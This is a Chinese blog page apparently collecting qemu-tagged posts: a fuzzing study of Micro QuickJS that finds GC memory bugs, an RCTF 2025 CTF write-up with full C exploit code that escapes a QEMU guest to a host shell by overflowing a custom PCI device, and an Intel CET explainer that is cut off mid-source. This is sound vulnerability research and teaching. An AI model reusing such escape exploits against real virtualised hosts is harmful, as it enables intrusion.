包含关键字 qemu 的文章

0. 起因

2025.12.23 传奇程序员 Bellard(Qemu、ffmpeg、QuickJS、TCC... 原作者)发布了他的新作品 Micro QuickJS(mqjs),这是一个用于嵌入式系统上的 JS 引擎。既然是用纯 C 语言实现的,应该会有一些内存损坏漏洞吧。

1. 准备 fuzzer

组件

我决定用 AFL++ 来运行模糊测试。AFL++ 直接使用的话,构造的是逐字节的随机输入,其中大多数都是无意义的乱码(即使配合 cmplog 等)。对于特定语言解释器来说,我们希望构造的输入能够真正被执行。编译原理告诉我们,从人类可读字符串到机器可执行的字节码或机器码需要经历至少三个阶段:词法分析、语法分析、语义分析。完全随机的输入无疑连词法分析都很难通过,更别说语法分析语义分析了。如果构造的输入根本没法运行,那我们就无法触及有关 VM 和 GC(垃圾回收释放内存)相关的更有价值的漏洞。

西电网信院在大二有一门选修课就是编译原理,最后的大作业是 C 语言标准库手搓自定义绘图语言编译器,十分带劲。不过据说从 24 级开始这门课🈚️了。

我感觉从 LLVM pass 上手会更有实用价值一些。

而如果配合 Grammar-Mutator,我们就可以实现语法级的 fuzzing。我们只需要提供这个语言的语法的生成式,自动编译成自定义 mutator。AFL 运行时就会调用它来将先前的 seed 转变为 AST,再随机选择 AST 中的节点,根据生成式变异为另一个节点或子树,最后再根据 AST 生成代码作为新的 seed。(具体可以看这篇文章

当然,编译时 Address Sanitizer 也必不可少(-fsanitize=address)。我试过再加上 UB Sanitizer,但是随便一运行就爆了,难道到处都是 UB?

问题修复

一开始运行 Grammar-Mutator 有时会报错 _pick_non_term_node returns NULL 然后直接退出。不知道为什么它在极罕见情况下会找不到某个非终结符能够用来变异的生成式。

遇到这种情况就不变异吧,直接把整个 AFL 停了真的好吗,,修改代码如下即可:

diff --git a/src/tree_mutation.c b/src/tree_mutation.c
index 68e91f9..62da2ed 100644
--- a/src/tree_mutation.c
+++ b/src/tree_mutation.c
@@ -39,8 +39,10 @@ tree_t *random_mutation(tree_t *tree) {
   if (unlikely(node == NULL)) {
 
     // By design, _pick_non_term_node should not return NULL
-    perror("_pick_non_term_node returns NULL");
-    exit(EXIT_FAILURE);
+    // perror("_pick_non_term_node returns NULL");
+    // exit(EXIT_FAILURE);
+
+    return mutated_tree;
 
   }
 
@@ -203,9 +205,10 @@ tree_t *splicing_mutation(tree_t *tree) {
   if (unlikely(node == NULL)) {
 
     // By design, _pick_non_term_node should not return NULL
-    perror("_pick_non_term_node returns NULL");
-    exit(EXIT_FAILURE);
+    // perror("_pick_non_term_node returns NULL");
+    // exit(EXIT_FAILURE);
 
+    return mutated_tree;
   }
 
   node_t *parent = node->parent;

执行

编写 fuzzing harness 用于 persistent mode,同时按照 Grammar-Mutator 的官方文档编译好 mutator library,自动生成初始种子。我们在 aflplusplus/aflplusplus docker container 里用以下参数运行 AFL:

while true; do AFL_DISABLE_TRIM=1 AFL_CUSTOM_MUTATOR_LIBRARY=./libgrammarmutator-javascript.so AFL_USE_ASAN=1 afl-fuzz -i seeds/ -o out/ -b 2 -a text -G 1024 -t 200 -S asan -- ./mjs_harness_asan; sleep 1; done

运行过程中我总结了一些经验:

  • 我选择关闭 ptrim,因为对于语法级 fuzzing,trim 反而会丢失复杂的结构,使之后的变异难以发现新的分支。
  • 加上超时是对的,但是不能太低,跑得慢的 seed 反而更有价值(复杂的 GC 行为)。
  • Grammar-Mutator 根据 AST 进行变异像是一个无限深度递归,所以 cycles 几乎不会增长,这是正常的。

2. Fuzzing 结果

大约 11 小时后,第一批 crashes 出现了:

a0decb4d5ac7fed0f095f124b7c2f22e.png

id 000000 内容大概是:

var a = [];
var b = [];
var c = [];
var d = [];
(Infinity**((((a+(((((((((((((((((((((new Float64Array(0,0/0,0,{g: false})))))))))))))))))))))==(~0)))))));
function Float64Array(console, EvalError,Int16Array,Reflect,NaN){
new Float64Array(false,TypeError[[[((((((((((((((((((((((((((((((((((((((((((((((((((((d.concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat((((--b) >>> -0)),(((--b) >>> -0)),(((--b) >>> 
// 暂不完整公开 ...

可以看到其中有明显的无限递归,另外还有大量的 concat,这无疑同时给堆和栈带来了巨大的内存分配压力,也就很可能出现 GC 相关的漏洞。

对此,Address Sanitizer 的评价是:

=================================================================
==1599335==ERROR: AddressSanitizer: negative-size-param: (size=-2112)
    #0 0x55f81ffe8449 in __asan_memmove (/home/rik/Desktop/crashes/mjs_harness_asan+0x17e449) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #1 0x55f8200c1be2 in JS_MakeUniqueString /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:2032:5
    #2 0x55f8200aab94 in JS_ToPropertyKey /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:4193:16
    #3 0x55f8200aab94 in JS_Call /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:6009:28
    #4 0x55f82011a802 in JS_Run /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:11799:11
    #5 0x55f82003e19b in LLVMFuzzerTestOneInput /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/fuzz_harness.c:140:15
    #6 0x55f820038c59 in ExecuteFilesOnyByOne (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cec59) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #7 0x55f820038a38 in LLVMFuzzerRunDriver (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cea38) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #8 0x55f8200385c6 in main (/home/rik/Desktop/crashes/mjs_harness_asan+0x1ce5c6) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #9 0x7f24f4027634 in __libc_start_call_main /usr/src/debug/glibc/glibc/csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #10 0x7f24f40276e8 in __libc_start_main /usr/src/debug/glibc/glibc/csu/../csu/libc-start.c:360:3
    #11 0x55f81feef3e4 in _start (/home/rik/Desktop/crashes/mjs_harness_asan+0x853e4) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)

0x7f24f0c4f8b8 is located 327864 bytes inside of 4194304-byte region [0x7f24f0bff800,0x7f24f0fff800)
allocated by thread T0 here:
    #0 0x55f81ffeb905 in malloc (/home/rik/Desktop/crashes/mjs_harness_asan+0x181905) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #1 0x55f82003cee9 in LLVMFuzzerTestOneInput /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/fuzz_harness.c:112:21
    #2 0x55f820038c59 in ExecuteFilesOnyByOne (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cec59) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)

SUMMARY: AddressSanitizer: negative-size-param (/home/rik/Desktop/crashes/mjs_harness_asan+0x17e449) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) in __asan_memmove
==1599335==

负数 size?

过了一会,又出现了七百多个崩溃,我想是时候开始分析了。

3. 分析 crashes

Micro QuickJS 的 GC 过程如下:

先将整个堆扫描一遍来标记需要释放的对象(JS_MTAG_FREE),

/* 'size' is in bytes and must be multiple of JSW and > 0 */
static void set_free_block(void *ptr, uint32_t size)
{
    JSFreeBlock *p;
    p = (JSFreeBlock *)ptr;
    p->mtag = JS_MTAG_FREE;
    p->gc_mark = 0;
    p->size = (size - sizeof(JSFreeBlock)) / sizeof(JSWord);
}

然后在 JS_GC2 中使用 Jonkers 算法来释放内存(gc_compact_heap)。具体来说,就是把所有不是 JS_MTAG_FREE 标记的对象都向低地址移,填补所有 JS_MTAG_FREE 对象带来的空洞。

    /* pass 2: update the threaded pointers and move the block to its
       final position */
    new_ptr = ctx->heap_base;
    ptr = ctx->heap_base;
    while (ptr < ctx->heap_free) {
        gc_update_threaded_pointers(ctx, ptr, new_ptr);
        size = get_mblock_size(ptr);
        if (js_get_mtag(ptr) != JS_MTAG_FREE) {
            if (new_ptr != ptr) {
                memmove(new_ptr, ptr, size);
            }
            new_ptr += size;
        }
        ptr += size;
    }
    ctx->heap_free = new_ptr;

一个很关键的问题是,这样的 GC 有可能会移动对象的位置,所以 GC 的下一步是修改引用方的指针到移动后的位置。不在 JS VM 栈中的对象指针(例如在裸 C 数组里的 JS 对象指针)就无法被追踪到,它们就会立刻沦为垂悬指针。所以在编写 mqjs 期间需要时刻注意哪些函数可能触发 GC,并将临时变量推入 JS VM 栈中。

这几百个崩溃几乎都是因为没有注意到可能 GC 的函数导致的。例如 2 中提到的崩溃,

static JSValue JS_MakeUniqueString(JSContext *ctx, JSValue val) {
    // ...
    
    arr = JS_VALUE_TO_PTR( ctx->unique_strings);
    val1 = find_atom(ctx, &a, arr, ctx->unique_strings_len, val); 
    if (!JS_IsNull(val1))
        return val1;
    
    JS_PUSH_VALUE(ctx, val);
    is_numeric = js_is_numeric_string(ctx, val);
    JS_POP_VALUE(ctx, val);
    if (is_numeric < 0)
        return JS_EXCEPTION;
    
    /* not found: add it in the table */
    JS_PUSH_VALUE(ctx, val);
    new_tab = js_resize_value_array(ctx, ctx->unique_strings,
                                 ctx->unique_strings_len + 1);
    JS_POP_VALUE(ctx, val);
    if (JS_IsException(new_tab))
        return JS_EXCEPTION;
    ctx->unique_strings = new_tab;
    arr = JS_VALUE_TO_PTR( ctx->unique_strings);
    memmove(&arr->arr[a + 1], &arr->arr[a],
            sizeof(arr->arr[0]) * (ctx->unique_strings_len - a));
    
    // ...
}

可以看到 JS_MakeUniqueString 首先从 ctx->unique_strings 中搜索(find_atom)相同字符串的索引(a)。这是一种常见的优化,在创建任何字符串前都在一个字符串表里检查有没有重复字符串,如果有就直接使用它如果没有再分配新空间并插入表中,避免重复浪费内存。但是由于 ctx->unique_strings_lenfind_atommemmove 之间减小了(被 GC 清理了一部分),所以 ctx->unique_strings_len - a 变成了负数!(a 应该永远小于 ctx->unique_strings_len。)其中 js_is_numeric_stringjs_resize_value_array 都有可能触发 GC(主要是 js_is_numeric_string)。

按照以上思路,我们还能找到其他 GC UAF 漏洞,甚至可利用的漏洞。事实上,我们可以修改 mqjs 源码,使其在每次申请内存前都执行一次 GC,这样能更高效地挖掘出类似的漏洞,无需等待 AFL 随机出有 GC 压力的 seed。(这应该是一个通用的技巧)

4. 利用

...

5. 修复

对于 2 中提到的崩溃,比较简单的修复方案就是在 memmove 前再执行一次 find_atom 定位插入位置。另外 js_is_numeric_string 也不应该需要 O(n) 空间复杂度。

...

RCTF 2025 pwn,mstr 之后再复现一个相对简单的 qemu escape bbox,如果有空的话再看看那个 v8pwn。(画饼ing

Challenge

附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体:

00000000 struct block // sizeof=0x18
00000000 {
00000000     unsigned int id;
00000004     unsigned int size;
00000008     unsigned int _pad1;
0000000C     unsigned int offset;
00000010     unsigned int _pad2;
00000014     unsigned __int8 encrypted;
00000015     unsigned __int8 valid;
00000016     unsigned __int8 _pad3[2];
00000018 };

00000000 struct virtsec_device // sizeof=0x10E8
00000000 {
00000000     unsigned __int8 _pad0[3024];
00000BD0     unsigned int status;
00000BD4     unsigned int session_id;
00000BD8     unsigned int error_code;
00000BDC     unsigned __int8 _pad1[32];
00000BFC     unsigned int alloc_size;
00000C00     unsigned int _pad2[2];
00000C08     struct block blocks[16];
00000D88     unsigned int _pad3;
00000D8C     unsigned int current_id;
00000D90     unsigned int merge_id1;
00000D94     unsigned int merge_id2;
00000D98     unsigned __int8 data[256];
00000E98     void (*func_ptr)(void *);
00000EA0     void *func_arg;
00000EA8     unsigned __int8 _pad4[256];
00000FA8     unsigned __int8 key_buffer[256];
000010A8     unsigned int reg_10A8;
000010AC     unsigned __int8 _pad6[36];
000010D0     unsigned __int64 reg_10D0;
000010D8     unsigned __int64 reg_10D8;
000010E0     unsigned __int64 reg_10E0;
000010E8 };

之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks,每个块初始大小最高 0x10,但可以通过 merge 命令合并两个及多个块,直至 256 字节。设备还有 gift 寄存器,向其中写入任意内容后,设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针,再次触发 gift 就会将后者作为首个参数执行前者。(另外还有 session、神秘 command 3 和 xor 加解密,不知道能干啥。)

这个 PCI 设备通过 MMIO 交互,我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径(00:04.0 Class 0580: 1234:5678)。

出题人非常贴心的在每个操作都输出了 log,要想看到 qemu_log 输出便于调试,可以添加 qemu 命令行参数 -d guest_errors -D qemu.logqemu_loglevel_mask_64(2048)LOG_GUEST_ERROR)。

Bug

问题出在块合并,merge 似乎没有任何长度检查,只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块,从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。

Exploit

只需要将函数指针改成 system,参数改成 sh 就好了。然而由于某些神秘原因,直接向 offset 256 写入的话 qemu 就直接爆了(?

不过块合并时自然也会复制数据的,所以就改成先在小块里写好这两个数据然后越界合并覆盖就好。free block 竟然只能全部 reset,那只好重新 merge 一遍了。

有点不懂为什么 escape 之后又打印出 welcome to RCTF2025!This is my gift!hello,可能是 pwntools 的问题吧(

Exp:

#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define REG_CMD 0x0C
#define REG_ID 0x14
#define REG_SIZE 0x18
#define REG_MERGE1 0x30
#define REG_MERGE2 0x34
#define REG_GIFT 0x38

#define CMD_SESSION 1
#define CMD_ALLOC 2
#define CMD_SELECT 3
#define CMD_MERGE 4
#define CMD_RESET 6

int fd;
volatile void *mmio_ptr;

static void write_reg32(int offset, uint32_t value) {
    *(volatile uint32_t *)(mmio_ptr + offset) = value;
}

static void trig_gift() { write_reg32(REG_GIFT, 0xcafebabe); }

// static void new_session() { write_reg32(REG_CMD, CMD_SESSION); }

static void alloc_blk(uint32_t id, uint32_t size) {
    write_reg32(REG_ID, id);
    write_reg32(REG_SIZE, size);
    write_reg32(REG_CMD, CMD_ALLOC);
}

static void select_blk(uint32_t id) {
    write_reg32(REG_ID, id);
    // write_reg(REG_CMD, CMD_SELECT);
}

static void merge_blk(uint32_t id1, uint32_t id2) {
    write_reg32(REG_MERGE1, id1);
    write_reg32(REG_MERGE2, id2);
    write_reg32(REG_CMD, CMD_MERGE);
}

static void dev_res() { write_reg32(REG_CMD, CMD_RESET); }

static uint32_t read_data32(size_t offset) {
    return *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset);
}

static uint64_t read_data64(size_t offset) {
    uint32_t low32 = read_data32(offset);
    uint32_t high32 = read_data32(offset + 4);
    return ((uint64_t)high32 << 32) | low32;
}

static void write_data32(size_t offset, uint32_t data) {
    *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset) = data;
}

static void write_data64(size_t offset, uint64_t data) {
    write_data32(offset, (uint32_t)data);
    write_data32(offset + 4, (uint32_t)(data >> 32));
}

int main(void) {
    fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR);
    if (fd < 0) {
        perror("open");
        exit(EXIT_FAILURE);
    }
    puts("[*] Device opened.");
    mmio_ptr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (mmio_ptr == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    puts("[*] MMIO mmaped.");

    // new_session();
    for (size_t i = 0; i < 16; ++i) {
        alloc_blk(i, 0x10);
    }
    puts("[*] Blocks allocated.");
    for (size_t i = 1; i < 16; ++i) {
        merge_blk(0, i);
    }
    puts("[*] Blocks merged.");
    alloc_blk(1, 0x10);
    merge_blk(0, 1);
    puts("[+] Block merged overflow.");

    trig_gift();
    select_blk(0);
    size_t host_system_addr =
        read_data64(256) - 0xf980;                    // glibc system - printf
    size_t host_sh_addr = host_system_addr - 0x38761; // glibc "sh" - system
    printf("[+] Host `system` address: 0x%lx\n", host_system_addr);
    printf("[+] Host `\"sh\"` address: 0x%lx\n", host_sh_addr);

    dev_res();
    puts("[*] Reset.");
    for (size_t i = 0; i < 16; ++i) {
        alloc_blk(i, 0x10);
    }
    puts("[*] Blocks allocated.");
    for (size_t i = 1; i < 16; ++i) {
        merge_blk(0, i);
    }
    puts("[*] Blocks merged.");
    alloc_blk(1, 0x10);
    select_blk(1);
    write_data64(0, host_system_addr);
    write_data64(8, host_sh_addr);
    merge_blk(0, 1);
    puts("[+] Gift rewritten.");

    trig_gift();

    munmap((void *)mmio_ptr, 0x2000);
    close(fd);
    return 0;
}

直接读写 MMIO 的指针一定要 ➕ volatile,否则可能被编译器优化掉。

Intel CET

Intel CET(Controlflow Enforcement Technology / 控制流加固技术)CFI(Control Flow Integrity / 控制流完整性)检查是近些年兴起的保护机制,其中包含 SHSTK(SHadow STacK)和 IBT(Indirect Branch Tracking),Intel Tiger Lake(11 代)及以上 CPU 才支持。

SHSTK 是一种后向控制流完整性(Backward-edge CFI)检查(简单来说是在“返回”时的检查),一般需要硬件支持。程序运行时在不同内存映射中同时维护两个调用栈,一个是众所周知的栈区,另一个是新增的“影子栈”,只存储返回地址。CPU 在过程调用与返回时将同时操作两个栈,如果在返回时发现正常调用栈的返回地址与影子栈中的不同就产生异常。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了,也就是所有 ROP 攻击都将失效

IBT 是一种前向控制流完整性(Forward-edge CFI)检查(简单来说是在“调用”时的检查)。CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32,如果是就不执行任何操作(类似 nop),如果不是就产生异常。这样一来大幅削弱了 COP / JOP 攻击。Forward-edge CFI 可以在软件层面模拟,例如 Windows CFG、Clang CFI 等,但是会大幅降低程序性能,每次虚函数调用等都需要校验,实用价值有限。

目前 Windows 只支持 Shadow Stack(Windows CFG),还不支持以 endbr 指令为基础的 IBT(存疑,Windows 我不熟悉);Linux 上也几乎没有程序启用这项保护,算是高度实验性的功能吧。不过 SHSTK 保护很可能在未来成为继 RELRO、Stack Canary、NX、ASLR (PIE) 后又一项常见的用户态保护机制。下文即将提到的 COOP 攻击对于未来的 Pwner 可能也会是像 ROP 一样必学的攻击方式?(Hackergame 2024 中有一道开启了 SHSTK 和 IBT 的 Pwn 题,但好像没开 ASLR,解法是直接篡改 shadow stack 本身再 ROP。)

验证 Intel CET 是否可用

接下来是在 Linux 上实验启用 CET 的具体操作,主要是 Shadow Stack。首先需要内核启用 CET 特性,Linux 6.2 默认启用 IBTLinux 6.6 正式合并 SHSTK。在命令行中验证启用状态:

$ sudo dmesg | grep CET
[    0.111658] CET detected: Indirect Branch Tracking enabled
$ cat /proc/cpuinfo | grep shstk
flags           : ... user_shstk ...
$ cat /proc/cpuinfo | grep ibt
flags           : ... ibt ...

验证某程序是否在编译时启用 CET:

$ readelf -n <application> | grep -a SHSTK
      Properties: x86 feature: IBT, SHSTK
$ readelf -n <application> | grep -a IBT
      Properties: x86 feature: IBT, SHSTK

GCC / glibc 环境启用 Intel CET

Glibc 已经在其 ld.so 中初步支持 Intel CET 保护。

我的环境:

CPU: 13th Gen Intel(R) Core(TM) i7-13700H (20) @ 5.00 GHz
Kernel: 6.14.7-zen2-1-zen (archlinux)
glibc: GNU C Library (GNU libc) stable release version 2.41

如果自己的电脑没有 Intel CET 软硬件支持,推荐使用 eqqie 学长开发的 qemu 插件(github)。我的电脑由于恰好满足所有条件,所以我图方便直接实机测试了比较粗暴。开虚拟环境总是对的。

编译时

使用 gcc 编译时添加以下编译参数:

gcc -fcf-protection=full

运行时

目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性(见源码),需要设置以下环境变量以强制启用:

GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET(SHSTK / IBT),当程序本身或其动态链接库不支持 CET 特性时,动态链接器将自动关闭 CET。

保护效果

编写这样一个简单的 C 程序:

# File: test_cet.c

#include <stdio.h>

int main(void) {
  puts("Hello, shadow stack!");
  return 0;
}

编译运行:

$ gcc -fcf-protection=branch test_cet.c -o test_cet
$ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet
Hello, shadow stack!

程序正常输出,但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用:

$ gdb ./a.out
pwndbg> r
...
pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
pwndbg> start
...
pwndbg> vmmap
...
0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400]
...
pwndbg> b _IO_file_write
...
pwndbg> c
...
pwndbg> tele 0x7ffff7bff000 1000
00:0000│  0x7ffff7bff000 ◂— 0
... ↓     496 skipped
1f1:0f88│  0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax
1f2:0f90│  0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1
1f3:0f98│  0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50]
1f4:0fa0│  0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f5:0fa8│  0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f6:0fb0│  0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax
1f7:0fb8│  0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1
1f8:0fc0│  0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80]
1f9:0fc8│  0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax
1fa:0fd0│  0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1
1fb:0fd8│  0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1
1fc:0fe0│  0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0
1fd:0fe8│  0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax
1fe:0ff0│  0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5]
1ff:0ff8│  0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt 
pwndbg> bt
#0  _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174
#1  0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", 
    to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030
#2  0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426
#3  0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784
#4  0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41
#5  0x0000555555555160 in main ()
#6  0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 <main>, argc=argc@entry=1, 
    argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58
#7  0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe2f8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360
#8  0x0000555555555075 in _start ()

可以看到程序运行时多出一个较大的匿名内存区域,这就是 Shadow Stack。在一个 glibc 中调用层级较深的函数下断点,可以看到 Shadow Stack 中存储了逐层函数返回地址(调用栈),与 back trace 相符。

我们可以试试在 SHSTK 开启时栈溢出修改栈上返回地址劫持控制流是否还有效。

#include <stdio.h>

int main() {
    char buf[0x10];
    gets(buf);
    return 0;
}
$ gcc -fcf-protection=full --ansi -fno-stack-protector main.c
pwndbg> r
Starting program: /home/rik/Desktop/a.out 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
aaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555167 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──[ REGISTERS / show-flags off / show-compact-regs off ]──
 RAX  0
 RBX  0
 RCX  0x7ffff7f6c7c0 ◂— 0
 RDX  0x7ffff7f6c7c0 ◂— 0
 RDI  0x7fffffffe151 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa'
 RSI  0x5555555592a1 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa\n'
 R8   0x5555555592b9 ◂— 0
 R9   0xfbad2288
 R10  0
 R11  0x202
 R12  0x7fffffffe288 —▸ 0x7fffffffe658 ◂— '/home/rik/Desktop/a.out'
 R13  1
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f
 R15  0x555555557dd8 —▸ 0x5555555550f0 ◂— endbr64 
 RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7fffffffe168 —▸ 0x7ffff7dab600 ◂— cmp al, 0xff
 RIP  0x555555555167 (main+30) ◂— ret 
──[ DISASM / x86-64 / set emulate on ]──
 ► 0x555555555167 <main+30>    ret                                <0x7ffff7dab600>
     ↓
   0x7ffff7dab600              cmp    al, 0xff     0x0 - 0xff     EFLAGS => 0x213 [ CF pf AF zf sf IF df of ]
...
pwndbg> xinfo 0x7ffff7dab600
Extended information for virtual address 0x7ffff7dab600:

  Containing mapping:
    0x7ffff7da8000     0x7ffff7f18000 r-xp   170000  24000 /usr/lib/libc.so.6

可以看到程序在 ret 处就已经产生段错误,连 RIP 都还不是篡改后的地址。

用户态的 Shadow Stack 目前依旧是实验性的功能,在我自己电脑上测试,设置上述环境变量(on)后连 gdb 都打不开了...

Fatal signal: 段错误
----- Backtrace -----
0x5ef6d4be903e ???
0x5ef6d4d107c0 ???
0x5ef6d4d109bb ???
0x746656c4c1cf ???
0x7466508bf125 ???
---------------------
A fatal error internal to GDB has been detected, further
debugging is not possible.  GDB will now terminate.

This is a bug, please report it.  For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.

fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)

Linux 用户态启用 SHSTK 底层实现

Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用:

arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature)
    启用‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature)
    关闭‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_LOCK, unsigned long features)
    锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩(按位或)。没有按位或设定的特性的锁定状态不变,之后无法再启用或关闭已锁定的特性。

arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features)
    锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。

arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr)
    将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。

可指定的特性:
    ARCH_SHSTK_SHSTK - Shadow stack
    ARCH_SHSTK_WRSS  - WRSS

Glibc 动态链接器 ld.so 中有关启用 SHSTK 的源码sysdeps/unix/sysv/linux/x86_64/dl-cet.h):

/* 用宏启用 shadow stack 以避免调用栈下溢。(刚启用时 shadow stack 为空,此时若返回将触发保护。)*/
#define ENABLE_X86_CET(cet_feature)                \
  if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK))        \
    {                                \
      long long int kernel_feature = ARCH_SHSTK_SHSTK;        \
      INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE,    \
                 kernel_feature);            \
    }

#define X86_STRINGIFY_1(x)    #x
#define X86_STRINGIFY(x)    X86_STRINGIFY_1 (x)

/* 如果已在 GL(dl_x86_feature_1) 启用,则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/
#define RTLD_START_ENABLE_X86_FEATURES \
"\
    # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\
